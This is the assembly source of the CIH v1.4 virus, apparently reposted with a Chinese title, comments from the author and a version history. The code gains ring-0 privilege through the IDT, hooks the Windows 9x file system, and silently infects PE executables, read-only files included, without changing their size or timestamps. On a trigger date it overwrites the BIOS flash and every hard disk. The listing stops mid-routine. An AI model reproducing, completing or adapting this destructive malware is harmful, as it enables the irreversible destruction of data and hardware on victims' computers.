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CIH v1.4源程序
; ****************************************************************************
; * The Virus Program Information *
; ****************************************************************************
; * *
; * Designer : CIH Source : TTIT of TATUNG in Taiwan *
; * Create Date : 04/26/1998 Now Version : 1.4 *
; * Modification Time : 05/31/1998 *
; * *
; * Turbo Assembler Version 4.0 : tasm /m cih *
; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe *
; * *
; *==========================================================================*
; * Modification History *
; *==========================================================================*
; * v1.0 1. Create the Virus Program. *
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code doesn't Reload into System. *
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
; * 6. When System Opens Existing PE File, the File will be *
; * Infected, and the File doesn't be Reinfected. *
; * 7. It is also Infected, even the File is Read-Only. *
; * 8. When the File is Infected, the Modification Date and Time *
; * of the File also don't be Changed. *
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *
; * Previous FileSystemApiHook, it will Call the Function *
; * that the IFS Manager Would Normally Call to Implement *
; * this Particular I/O Request. *
; * 10. The Virus Size is only 656 Bytes. *
; *==========================================================================*
; * v1.1 1. Especially, the File that be Infected will not Increase *
; * it's Size... ^__^ *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *
; * When Exception Error Occurs, Our OS System should be in *
; * Windows NT. So My Cute Virus will not Continue to Run, *
; * it will Jmup to Original Application to Run. *
; * 3. Use Better Algorithm, Reduce Virus Code Size. *
; * 4. The Virus "Basic" Size is only 796 Bytes. *
; *==========================================================================*
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... *
; * 2. Modify the Bug of v1.1 *
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *
; *==========================================================================*
; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. *
; * So When Open WinZip Self-Extractor ==> Don't Infect it. *
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. *
; *==========================================================================*
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *
; * 2. Change the Date of Killing Computers. *
; * 05/31/1998 3. Modify Virus Version Copyright. *
; * 4. The Virus "Basic" Size is 1019 Bytes. *
; ****************************************************************************.586P; ****************************************************************************
; * Original PE Executable File(Don't Modify this Section) *
; ****************************************************************************OriginalAppEXE SEGMENTFileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSizeOriginalAppEXE ENDS; ****************************************************************************
; * My Virus Game *
; ****************************************************************************; *********************************************************
; * Constant Define *
; *********************************************************TRUE = 1
FALSE = 0DEBUG = TRUEMajorVirusVersion = 1
MinorVirusVersion = 4VirusVersion = MajorVirusVersion*10h+MinorVirusVersion
IF DEBUGFirstKillHardDiskNumber = 81h
HookExceptionNumber = 05hELSEFirstKillHardDiskNumber = 80h
HookExceptionNumber = 03hENDIF
FileNameBufferSize = 7fh; *********************************************************
; *********************************************************VirusGame SEGMENTASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************MyVirusStart:
push ebp; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************lea eax, [esp-04h*2]xor ebx, ebx
xchg eax, fs:[ebx]call @0
@0:
pop ebxlea ecx, StopToRunVirusCode-@0[ebx]
push ecxpush eax; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;add ebx, HookExceptionNumber*08h+04h ; ZF = 0climov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Pointlea esi, MyExceptionHook-@1[ecx]push esimov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Addresspop esi; *************************************
; * Generate Exception to Get Ring0 *
; *************************************int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $; *************************************
; * Merge All Virus Code Section *
; *************************************push esi
mov esi, eaxLoopOfMergeAllVirusCodeSection:mov ecx, [eax-04h]rep movsbsub eax, 08hmov esi, [eax]or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1jmp LoopOfMergeAllVirusCodeSectionQuitLoopOfMergeAllVirusCodeSection:pop esi; *************************************
; * Generate Exception Again *
; *************************************int HookExceptionNumber ; GenerateException Again; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************ReadyRestoreSE:
stixor ebx, ebxjmp RestoreSE; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************StopToRunVirusCode:
@1 = StopToRunVirusCodexor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]RestoreSE:
pop dword ptr fs:[ebx]
pop eax; *************************************
; * Return Original App to Execute *
; *************************************pop ebppush 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stackret ; Return to Original App Entry Point; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************MyExceptionHook:
@2 = MyExceptionHookjz InstallMyFileSystemApiHook; *************************************
; * Do My Virus Exist in System !? *
; *************************************mov ecx, dr0
jecxz AllocateSystemMemoryPageadd dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException; *************************************
; * Return to Ring3 Initial Program *
; *************************************ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;iretd; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************AllocateSystemMemoryPage:mov dr0, ebx ; Set the Mark of My Virus Exist in Systempush 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04hxchg edi, eax ; EDI = SystemMemory Start Addresslea eax, MyVirusStart-@2[esi]iretd ; Return to Ring3 Initial Program; *************************************
; * Install My File System Api Hook *
; *************************************InstallMyFileSystemApiHook:lea eax, FileSystemApiHook-@6[edi]push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flagsmov dr0, eax ; Save OldFileSystemApiHook Addresspop eax ; EAX = FileSystemApiHook Address; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eaxclijmp ExitRing0Init; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************CodeSizeOfMergeVirusCodeSection = offset $; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************InstallFileSystemApiHook:
push ebxcall @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4 ;push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecxpush eax; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecxmov dr0, eax ; Adjust OldFileSystemApiHook Addresspop eaxpop ebxret; *********************************************************
; * Static Data *
; *********************************************************OldInstallFileSystemApiHook dd ?; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************FileSystemApiHook:
@3 = FileSystemApiHookpushadcall @5 ;
@5: ;
pop esi ; mov esi, offset VirusGameDataStartAddress
add esi, VirusGameDataStartAddress-@5; *************************************
; * Is OnBusy !? *
; *************************************test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy )
jnz pIFSFunc ; goto pIFSFunc; *************************************
; * Is OpenFile !? *
; *************************************; if ( NotOpenFile )
; goto prevhook
lea ebx, [esp+20h+04h+04h]
cmp dword ptr [ebx], 00000024h
jne prevhook; *************************************
; * Enable OnBusy *
; *************************************inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************; mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6push esimov al, [ebx+04h]
cmp al, 0ffh
je CallUniToBCSPathadd al, 40h
mov ah, ':'mov [esi], eaxinc esi
inc esi; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax
push esi
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h*04h; *************************************
; * Is FileName '.EXE' !? *
; *************************************; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusyIF DEBUG; *************************************
; * Only for Debug *
; *************************************; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusyENDIF; *************************************
; * Is Open Existing File !? *
; *************************************; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy; *************************************
; * Get Attributes of the File *
; *************************************mov ax, 4300h
int 20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032hjc DisableOnBusypush ecx; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]; *************************************
; * Is Read-Only File !? *
; *************************************test cl, 01h
jz OpenFile; *************************************
; * Modify Read-Only File to Write *
; *************************************mov ax, 4301h
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO; *************************************
; * Open File *
; *************************************OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_Ring0_FileIOxchg ebx, eax ; mov ebx, FileHandle; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************pop ecxpushftest cl, 01h
jz IsOpenFileOK; *************************************
; * Restore Attributes of the File *
; *************************************mov ax, 4301h
call edi ; VXDCall IFSMgr_Ring0_FileIO; *************************************
; * Is Open File OK !? *
; *************************************IsOpenFileOK:
popfjc DisableOnBusy; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************push esi ; Push FileNameBuffer Address to Stackpushf ; Now CF = 0, Push Flag to Stackadd esi, DataBuffer-@7 ; mov esi, offset DataBuffer; ***************************
; * Get OffsetToNewHeader *
; ***************************xor eax, eax
mov ah, 0d6h; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eaxpush 00000004h
pop ecx
push 0000003ch
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIOmov edx, [esi]; ***************************
; * Get 'PE\0' Signature *
; * of ImageFileHeader, and *
; * Infected Mark. *
; ***************************dec edxmov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO; ***************************
; * Is PE !? *
; ***************************
; * Is the File *
; * Already Infected !? *
; ***************************
; * WinZip Self-Extractor *
; * doesn't Have Infected *
; * Mark Because My Virus *
; * doesn't Infect it. *
; ***************************; cmp [esi], '\0PE\0'
cmp dword ptr [esi], 00455000h
jne CloseFile; *************************************
; * The File is ^o^ *
; * PE(Portable Executable) indeed. *
; *************************************
; * The File isn't also Infected. *
; *************************************; *************************************
; * Start to Infect the File *
; *************************************
; * Registers Use Status Now : *
; * *
; * EAX = 04h *
; * EBX = File Handle *
; * ECX = 04h *
; * EDX = 'PE\0\0' Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address ==> @8 *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP => ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | Return Address | *
; * ------------------------- *
; *************************************push ebx ; Save File Handlepush 00h ; Set VirusCodeSectionTableEndMark; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************push 01h ; Size
push edx ; Pointer of File
push edi ; Address of Buffer; ***************************
; * Save ESP Register *
; ***************************mov dr1, esp; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************push eax ; Size; ***************************
; * Let's Read *
; * Image Header in File *
; ***************************mov eax, ebp
mov cl, SizeOfImageHeaderToRead
add edx, 07h ; Move EDX to NumberOfSections
call edi ; VXDCall IFSMgr_Ring0_FileIO; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; * Address of Buffer ) *
; ***************************lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; Pointer of Filelea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; Address of Buffer; ***************************
; * Move EDX to the Start *
; * of SectionTable in File *
; ***************************movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h]; ***************************
; * Let's Get *
; * Total Size of Sections *
; ***************************mov al, SizeOfScetionTable; I Assume NumberOfSections <= 0ffh
mov cl, (NumberOfSections-@8)[esi]mul cl; ***************************
; * Let's Set Section Table *
; ***************************; Move ESI to the Start of SectionTable
lea esi, (StartOfSectionTable-@8)[esi]push eax ; Size
push edx ; Pointer of File
push esi ; Address of Buffer; ***************************
; * The Code Size of Merge *
; * Virus Code Section and *
; * Total Size of Virus *
; * Code Section Table Must *
; * be Small or Equal the *
; * Unused Space Size of *
; * Following Section Table *
; ***************************inc ecx
push ecx ; Save NumberOfSections+1shl ecx, 03h
push ecx ; Save TotalSizeOfVirusCodeSectionTableadd ecx, eax
add ecx, edxsub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx; Save My Virus First Section Code
; Size of Following Section Table...
; ( Not Include the Size of Virus Code Section Table )
push ecxxchg ecx, eax ; ECX = Size of Section Table; Save Original Address of Entry Point
mov eax, (AddressOfEntryPoint-@9)[esi]
add eax, (ImageBase-@9)[esi]
mov (OriginalAddressOfEntryPoint-@9)[esi], eaxcmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark; ***************************
; * Read All Section Tables *
; ***************************mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO; ***************************
; * Full Modify the Bug : *
; * WinZip Self-Extractor *
; * Occurs Error... *
; ***************************
; * So When User Opens *
; * WinZip Self-Extractor, *
; * Virus Doesn't Infect it.*
; ***************************
; * First, Virus Gets the *
; * PointerToRawData in the *
; * Second Section Table, *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'...... *
; ***************************xchg eax, ebppush 00000004h
pop ecxpush edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi]
add edx, 12hcall edi ; VXDCall IFSMgr_Ring0_FileIO; cmp [esi], 'nZip'
cmp dword ptr [esi], 'piZn'
je NotSetInfectedMarkpop edx; ***************************
; * Let's Set Total Virus *
; * Code Section Table *
; ***************************; EBX = My Virus First Section Code
; Size of Following Section Table
pop ebx
pop edi ; EDI = TotalSizeOfVirusCodeSectionTable
pop ecx ; ECX = NumberOfSections+1push edi ; Sizeadd edx, ebp
push edx ; Pointer of Fileadd ebp, esi
push ebp ; Address of Buffer; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSectionTable *
; ***************************lea eax, [ebp+edi-04h]
mov [eax], ebx; ***************************
; * Let's Set My Virus *
; * First Section Code *
; ***************************push ebx ; Sizeadd edx, edi
push edx ; Pointer of Filelea edi, (MyVirusStart-@9)[esi]
push edi ; Address of Buffer; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; ***************************mov (NewAddressOfEntryPoint-@9)[esi], edx; ***************************
; * Setup Initial Data *
; ***************************lea edx, [esi-SizeOfScetionTable]
mov ebp, offset VirusSizejmp StartToWriteCodeToSections; ***************************
; * Write Code to Sections *
; ***************************LoopOfWriteCodeToSections:add edx, SizeOfScetionTablemov ebx, (SizeOfRawData-@9)[edx]
sub ebx, (VirtualSize-@9)[edx]
jbe EndOfWriteCodeToSectionspush ebx ; Sizesub eax, 08h
mov [eax], ebxmov ebx, (PointerToRawData-@9)[edx]
add ebx, (VirtualSize-@9)[edx]
push ebx ; Pointer of Filepush edi ; Address of Buffermov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi]
mov [eax+4], ebxmov ebx, [eax]
add (VirtualSize-@9)[edx], ebx; Section contains initialized data ==> 00000040h
; Section can be Read. ==> 40000000h
or (Characteristics-@9)[edx], 40000040hStartToWriteCodeToSections:sub ebp, ebx
jbe SetVirusCodeSectionTableEndMarkadd edi, ebx ; Move Address of BufferEndOfWriteCodeToSections:loop LoopOfWriteCodeToSections; ***************************
; * Only Set Infected Mark *
; ***************************OnlySetInfectedMark:
mov esp, dr1jmp WriteVirusCodeToFile; ***************************
; * Not Set Infected Mark *
; ***************************NotSetInfectedMark:
add esp, 3chjmp CloseFile; ***************************
; * Set Virus Code *
; * Section Table End Mark *
; ***************************SetVirusCodeSectionTableEndMark:; Adjust Size of Virus Section Code to Correct Value
add [eax], ebp
add [esp+08h], ebp; Set End Mark
xor ebx, ebx
mov [eax-04h], ebx; ***************************
; * When VirusGame Calls *
; * VxDCall, VMM Modifies *
; * the 'int 20h' and the *
; * 'Service Identifier' *
; * to 'Call [XXXXXXXX]'. *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First. ^__^ *
; ***************************lea eax, (LastVxDCallAddress-2-@9)[esi]mov cl, VxDCallTableSizeLoopOfRestoreVxDCallID:
mov word ptr [eax], 20cdhmov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
mov [eax+2], edxmovzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
sub eax, edxloop LoopOfRestoreVxDCallID; ***************************
; * Let's Write *
; * Virus Code to the File *
; ***************************WriteVirusCodeToFile:
mov eax, dr1
mov ebx, [eax+10h]
mov edi, [eax]LoopOfWriteVirusCodeToFile:pop ecx
jecxz SetFileModificationMarkmov esi, ecx
mov eax, 0d601h
pop edx
pop ecxcall edi ; VXDCall IFSMgr_Ring0_FileIOjmp LoopOfWriteVirusCodeToFile; ***************************
; * Let's Set CF = 1 ==> *
; * Need to Restore File *
; * Modification Time *
; ***************************SetFileModificationMark:
pop ebx
pop eaxstc ; Enable CF(Carry Flag)
pushf; *************************************
; * Close File *
; *************************************CloseFile:
xor eax, eax
mov ah, 0d7h
call edi ; VXDCall IFSMgr_Ring0_FileIO; *************************************
; * Need to Restore File Modification *
; * Time !? *
; *************************************popf
pop esi
jnc IsKillComputer; *************************************
; * Restore File Modification Time *
; *************************************mov ebx, edimov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; VXDCall IFSMgr_Ring0_FileIO; *************************************
; * Disable OnBusy *
; *************************************DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy; *************************************
; * Call Previous FileSystemApiHook *
; *************************************prevhook:
popadmov eax, dr0 ;
jmp [eax] ; Jump to prevhook; *************************************
; * Call the Function that the IFS *
; * Manager Would Normally Call to *
; * Implement this Particular I/O *
; * Request. *
; *************************************pIFSFunc:
mov ebx, esp
push dword ptr [ebx+20h+04h+14h] ; Push pioreq
call [ebx+20h+04h] ; Call pIFSFunc
pop ecx ;mov [ebx+1ch], eax ; Modify EAX Value in Stack; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the *
; * Returned pioreq. *
; ***************************cmp dword ptr [ebx+20h+04h+04h], 00000024h
jne QuitMyVirusFileSystemHook; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; *****************mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax; ***************************
; * Quit My Virus' *
; * IFSMgr_FileSystemHook *
; ***************************QuitMyVirusFileSystemHook:popadret; *************************************
; * Kill Computer !? ... *^_^* *
; *************************************IsKillComputer:
; Get Now Day from BIOS CMOS
mov al, 07h
out 70h, al
in al, 71hxor al, 26h ; ??/26/????IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy
ENDIF; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************; ***************************
; * Kill BIOS EEPROM *
; ***************************mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]; ***********************
; * Show BIOS Page in *
; * 000E0000 - 000EFFFF *
; * ( 64 KB ) *
; ***********************mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi; ***********************
; * Show BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************mov di, 0058h
dec edx ; and al,0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E01FF *
; * ( 512 Bytes ) *
; * , and the Section *
; * of Extra BIOS can *
; * be Writted... *
; ***********************lea ebx, EnableEEPROMToWrite-@10[esi]mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60hpush ecx
loop $; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E007F *
; * ( 80h Bytes ) *
; ***********************xor ah, ah
mov [eax], alxchg ecx, eax
loop $; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 - 000FFFFF *
; * ( 128 KB ) *
; * can be Writted... *
; ***********************mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20hloop $; ***********************
; * Kill the BIOS Main *
; * ROM Data in Memory *
; * 000FE000 - 000FE07F *
; * ( 80h Bytes ) *
; ***********************mov ah, 0e0h
mov [eax], al; ***********************
; * Hide BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************
; or al,10h
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi; ***************************
; * Kill All HardDisk *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecxmov esi, esp
sub esp, 0achLoopOfKillHardDisk:
int 20h
dd 00100004h ; VXDCall IOS_SendCommandcmp word ptr [esi+06h], 0017h
je KillNextDataSectionChangeNextHardDisk:
inc byte ptr [esi+4dh]jmp LoopOfKillHardDiskKillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumberjmp LoopOfKillHardDisk; ***************************
; * Enable EEPROM to Write *
; ***************************EnableEEPROMToWrite:
